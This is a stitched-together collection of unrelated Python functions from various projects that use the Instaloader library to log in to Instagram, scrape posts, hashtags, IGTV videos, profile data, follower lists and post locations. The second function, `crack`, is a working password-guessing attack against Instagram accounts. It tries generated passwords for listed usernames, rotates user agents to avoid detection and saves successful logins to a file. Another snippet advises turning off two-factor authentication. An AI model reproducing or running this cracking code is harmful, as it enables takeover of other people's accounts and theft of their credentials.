def __init__(self, username: str, password: str = None, ToP_n_most_recent: int = 9, feedmatch: bool = True, FM_n_most_recent: int = 9, pixel_count_perimage: int = 20000, Eng_n_most_recent: int = 9): """ Constructor :param username: Instagram username :param password: Instagram password (required for private accounts) :param ToP_n_most_recent: how many recent posts to consider for time of post data :param feedmatch: whether or not to include feedmatch processing in this instance :param FM_n_most_recent: n most recent photos to consider for feed matching :param pixel_count_perimage: how many pixels to process per image """ self.username = username self.__IL_instance = Instaloader() self.logged_in = False if password is not None: try: self.__IL_instance.login(self.username, password) self.logged_in = True except TwoFactorAuthRequiredException: print("Suggested solution: turn off Two-Factor Authentication before using this package.") self.profile = Profile.from_username(self.__IL_instance.context, self.username) if self.profile.is_private and password is None: raise LoginRequiredException("Password field required for private profiles.") num_posts = max([ToP_n_most_recent, FM_n_most_recent, Eng_n_most_recent]) self.__posts = [] try: p = self.profile.get_posts() for post in p: if num_posts == 0: break else: self.__posts.append(post) if not post.is_video: num_posts -= 1 except IndexError: raise IndexError("Profile must contain posts.") if len(self.__posts) == 0: raise ValueError("Profile contains no posts") self.__photo_posts = [] for post in self.__posts: if not post.is_video: self.__photo_posts.append(post) self.top = TimeOfPost(self.__posts[:ToP_n_most_recent]) if feedmatch: self.feedmatch = FeedMatch(posts=self.__photo_posts[:FM_n_most_recent], pixel_count=pixel_count_perimage) self.engagement = Engagement(self.profile, posts=self.__posts[:Eng_n_most_recent])
def crack(i): usernames = open(i, "r").read().splitlines() idx = 0 for user in usernames: idx += 1 passwords = generatePassword(user) print("[ %d ] Trying: %s" % (idx, user)) for pasw in passwords: print("[!] Try password " + pasw) try: ua = randomUA() print("[!] Set User Agent ~> " + ua) L = Instaloader(user_agent=ua, sleep=True) L.login(user, pasw) saved = open("logins.txt", "a") saved.write(user + ":" + pasw + "\n") saved.close() print(green_color + "[+] Login success " + pasw + normal_color) break except exceptions.BadCredentialsException as Bad: print(red_color + "[-] Unknown password " + pasw + normal_color) except exceptions.TwoFactorAuthRequiredException: print("[-] Privated " + pasw) except exceptions.ConnectionException as e: time.sleep(60) print("[!] Wait 1 minute") except exceptions.InvalidArgumentException: print("[-] Username not found") break print("-" * 50)
def get_posts_by_username(username, size=(0, 50)): L = Instaloader(download_pictures=False, download_comments=False, compress_json=False, download_videos=False, download_geotags=False) try: profile = Profile.from_username(L.context, username) except Exception: return {'status': 'bad'} response_ans = [] posts_list = list(profile.get_posts()) owner = None for post in posts_list[size[0]:size[1]]: L.download_post(post, target=profile.username) with open(glob.glob(profile.username + "/*.json")[0]) as json_file: super_dict = json.load(json_file) post_info = {} post_info['code'] = super_dict['node']['shortcode'] post_info['img'] = super_dict['node']['display_url'] owner = super_dict['node']['owner'] response_ans.append(post_info) shutil.rmtree(profile.username) return {'list': response_ans, 'status': 'ok', 'owner': owner}
def load_photo_from_post(short_code): L = Instaloader(download_pictures=False, download_comments=False, compress_json=False, download_videos=True) try: post = Post.from_shortcode(L.context, short_code) except Exception: return {'status': 'bad'} L.download_post(post, target=short_code) super_json = glob.glob(short_code + '/*.json')[0] response = {} super_dict = json.loads(open(super_json).read()) if 'edge_sidecar_to_children' in super_dict['node']: response['img'] = [] for i in super_dict['node']['edge_sidecar_to_children']['edges']: response['img'].append(i['node']['display_resources']) else: response['img'] = [super_dict['node']['display_resources']] response['owner'] = super_dict['node']['owner'] response['status'] = 'ok' shutil.rmtree(short_code) return response
def download_hashtags(self): """ Método que realiza o download de hashtags especificadas na entrada """ L = Instaloader() for hs in self.hashtags_list: try: hashtag = Hashtag.from_name(L.context, hs) post_counter = 0 for post in hashtag.get_posts(): L.download_post(post, target=hashtag.name) post_counter = post_counter + 1 if self.hashtags_max != None: if post_counter == self.hashtags_max: break print("Downloaded ", post_counter, " from ", hashtag.name) except Exception as e: print("Nao foi possivel baixar todos os posts da tag: ", hs) print("Dica: Tente coletar menos posts por hashtag") print(e) for hs in self.hashtags_list: try: os.rename(hs, self._get_path() + hs) except Exception as e: print("Erro ao mover arquivos da hashtag: ", hs) print(e)
class BaseBot: def __init__(self, username: str, password: str, loader_kwargs: dict = None, **kwargs): self.session_file = kwargs.get('session_path', f'./{username}_session.pickle') self.loader = Instaloader(**(loader_kwargs or dict())) self.context = self.loader.context safe_login(self.loader, username, password, self.session_file) self.insta = TlaskyInsta(self.loader) self.logger = self.insta.logger self.scheduler = Scheduler() def on_start(self): """ Here you can load your stuff. """ pass def loop(self): """ Main bot function. """ def on_exit(self): """ Here you can save your stuff. """ self.loader.save_session_to_file(self.session_file)
def get_follow_list(self, username=None, which_list="following", amount=None): """ Get the complete list or a specific amount of followers or followees of a user using instaloader package. """ # Interesting to measure how long a list takes to be retrieved t_start = datetime.datetime.now() L = Instaloader() L.login(self.username, self.password) if username is None: username = self.username profile = Profile.from_username(L.context, username) if which_list == "following": follow_node = profile.get_followees() elif which_list == "followers": follow_node = profile.get_followers() follow = [f.username for f in follow_node] if amount: follow = random.sample(follow, amount) t_end = datetime.datetime.now() elapsed = (t_end - t_start).total_seconds() print(f"It took {elapsed} seconds to retrieve the list " f"of {len(follow)} {which_list}\n" + "-" * 50) return follow
def indir(): try: loader = Instaloader() loader.download_profile(subject.get(), profile_pic_only=True) except: messagebox.showerror( "Error!", "Bu kullanıcı zaten kaydedilmiş olabilir veya düzgün bir kullanıcı adı giriniz" )
def download_photos(username): L = Instaloader(download_videos = False, download_video_thumbnails = False, download_comments = False, compress_json = False, dirname_pattern = "../Data/Photos/{target}") posts = [] with open("../Data/Posts_list/" + username + ".json") as f: posts = json.load(f) for post in posts: post = Post.from_shortcode(L.context, post) L.download_post(post, username)
def igtv(update, context): user = context.bot.get_chat_member( chat_id='-1001225141087', user_id=update.message.chat_id) status = user["status"] if(status == 'left'): context.bot.send_message(chat_id=update.message.chat_id, text="To use to bot you need to be a member of @MBNUpdates in order to stay updated with the latest developments.") return else: fullmsg = update.message.text if fullmsg == "/igtv": update.message.reply_text( '/igtv [instagram username]\nPlease read /help') else: msg = fullmsg.replace("/igtv ", "") if "@" in msg.lower(): query = msg.replace("@", "") else: query = msg L = Instaloader(dirname_pattern=query, download_comments=False, download_video_thumbnails=False, save_metadata=False, download_geotags=True, compress_json=True, post_metadata_txt_pattern=None, storyitem_metadata_txt_pattern=None) profile = Profile.from_username(L.context, query) igtv_count = profile.igtvcount posts = profile.get_igtv_posts() update.message.reply_text("Cooking your request 👨🍳\nProfile : " + query + "\nIGTV Video Count : " + str( igtv_count) + "\nThis may take longer, take a nap I can handle this without you.") try: L.posts_download_loop(posts, query) except Exception as e: context.bot.send_message(chat_id=update.message.chat_id, text="<b>ERROR</b>\n"+str( e), parse_mode=telegram.ParseMode.HTML) return src_dir = query for vidfile in glob.iglob(os.path.join(src_dir, "*.mp4")): context.bot.send_video( chat_id=update.message.chat_id, video=open(vidfile, 'rb')) bot.send_message( text="Thanks for using @xIGDLBot\nPlease /donate to keep this service alive!", chat_id=update.message.chat_id) try: shutil.rmtree(query) except Exception: pass
def download(self): for profile in self.sources: loader = Instaloader() loader.dirname_pattern = f"../Media/{self.username}/" self.configure(loader) profile = Profile.from_username(loader.context, profile) posts_sorted_by_likes = sorted(profile.get_posts(), key=lambda p: p.likes) for post in islice(posts_sorted_by_likes, ceil(profile.mediacount * self.percentage / 100)): loader.download_post(post, profile)
def __init__(self, profiles_filename): Instaloader.__init__(self, download_geotags=False, download_comments=False, save_metadata=False) try: self.load_profiles_from_file(profiles_filename) except EOFError: logger.error(f'EOFError: {profiles_filename} not loaded, renew file plz') except FileNotFoundError: logger.error(f'FileNotFoundError: {profiles_filename} not found')
class Insta: def __init__(self): self.loader = Instaloader() try: self.loader.load_session_from_file(USER, f'session-{USER}') except FileNotFoundError: self.loader.context.log( "Session file does not exist yet - Logging in.") if not self.loader.context.is_logged_in: try: self.loader.login(USER, PASSWORD) except TwoFactorAuthRequiredException: self.loader.two_factor_login(input('Code: ')) self.loader.save_session_to_file(f'session-{USER}') if self.loader.context.is_logged_in: self.loader.context.log('Logged in.', end='\n' * 2) def get_unfollowers(self, user): self.loader.context.log( 'Getting list of accounts i\'m subscribed to but not subscribed to me:' ) profile = Profile.from_username(self.loader.context, user) followers = profile.get_followers() followees = profile.get_followees() unfollowers = set(followees).difference(set(followers)) unfollowers_list = [] for unfollower in unfollowers: unfollowers_list.append( f'{unfollower.full_name} @{unfollower.username}') return '\n'.join(unfollowers_list)
def show_image(self, obj): instaloader = Instaloader() username = self.user.text instaloader.download_profile(username, profile_pic_only=True) filename = glob(str(username + "/*jpg")) img_data = str(filename[0]) image = Image(source=img_data, pos_hint={ "center_x": 0.5, "center_y": 0.3 }, size_hint=(0.5, 1)) image.remove_widget(image) self.screen.add_widget(image)
def __init__(self, username: str, password: str, loader_kwargs: dict = None, **kwargs): self.session_file = kwargs.get('session_path', f'./{username}_session.pickle') self.loader = Instaloader(**(loader_kwargs or dict())) self.context = self.loader.context safe_login(self.loader, username, password, self.session_file) self.insta = TlaskyInsta(self.loader) self.logger = self.insta.logger self.scheduler = Scheduler()
async def _insta_post_downloader(message): """ download instagram post """ omess = await message.get_reply_message() if omess is None: await message.reply("Reply to a Instagram Link.") return message = await message.reply('`Setting up Configs. Please don\'t flood.`') dirname = 'instadl_{target}' filename = '{target}\'s_post' insta = Instaloader(dirname_pattern=dirname, filename_pattern=filename, download_video_thumbnails=False, download_geotags=False, download_comments=False, save_metadata=False, compress_json=False) if False: # add auth code here pass else: await message.edit('Login Credentials not found.\n`[NOTE]`: ' '**Private stuff will not be downloaded**') await asyncio.sleep(2) p = r'^https:\/\/www\.instagram\.com\/(p|tv|reel)\/([A-Za-z0-9\-_]*)\/(\?igshid=[a-zA-Z0-9]*)?$' match = re.search(p, omess.raw_text) print(omess.raw_text) if False: # have plans here pass elif match: dtypes = {'p': 'POST', 'tv': 'IGTV', 'reel': 'REELS'} d_t = dtypes.get(match.group(1)) if not d_t: await message.edit('Unsupported Format') return sent = await message.edit(f'`Fetching {d_t} Content.`') shortcode = match.group(2) post = get_post(insta, shortcode) try: download_post(insta, post) await upload_to_tg(message, dirname.format(target=post.owner_username), post, sender_id=omess.sender_id) except (KeyError, LoginRequiredException): await message.edit("Post is private. Cant Download") return except FloodWaitError as f_w: await asyncio.sleep(f_w.seconds + 5) await upload_to_tg(message, dirname.format(target=post.owner_username), post, sender_id=omess.sender_id) finally: shutil.rmtree(dirname.format(target=post.owner_username), ignore_errors=True) else: await message.edit('`Invalid Link that you provided`')
def create_posts_object(profile_name, username, password): """ In order to receive locations of posts we should sign into Instagram account (required by Instagram), otherwise locations would be None :param username: username; :param password: password; :param profile_name: the name of target profile; :return: posts object of Instaloader Profile class; """ L = Instaloader() L.login(username, password) profile = Profile.from_username(L.context, profile_name) posts = profile.get_posts() return posts
def __init__(self): loader = Instaloader(download_pictures=False, download_video_thumbnails=False, download_videos=False, compress_json=False, sleep=True) # loader.login(insta_username, insta_password) self.connection = MongoHandler()
def _get_user_info_json(self, username, username_login, password): """ Gera um json com informações sobre um usuário dado como parâmetro """ L = Instaloader(quiet=True) L.load_session_from_file(username_login, filename="data/session") profile = Profile.from_username(L.context, username) profile_info = {} profile_info["username"] = profile.username profile_info["is_private"] = profile.is_private profile_info["mediacount"] = profile.mediacount profile_info["followers"] = profile.followers profile_info["followees"] = profile.followees profile_info["external_url"] = profile.external_url profile_info["biography"] = profile.biography profile_json = json.dumps(profile_info) return profile_json
def __init__(self, users_list, min_date, sleep, username, password): """ Inicializa objeto """ self._users_list = users_list self._tokenize_date(min_date) self._sleep = sleep self._username = username self._password = password self._out_dir = "data/staging" subprocess.run(["mkdir", "-p", self._out_dir]) self._iloader = Instaloader(download_comments=False, download_pictures=False, download_geotags=False, download_videos=False) self._iloader.login(self._username, self._password) self._iloader.save_session_to_file("./data/session")
def scrape_instagram_hashtag_posts(session: Instaloader, hashtag: str, max_posts: int = 50) -> None: """Scrapes specified number of posts from an instagram profile and save in the current working directory. Args: session: Instaloader user session file profile: Profile of specific public Instagram user id number: maximum number of posts to extract (can have multiple images per post) """ counter = 0 profile = Profile.from_username(session.context, hashtag) for post in profile.get_posts(): session.download_post(post, target=profile.username) counter += 1 if counter == max_posts: break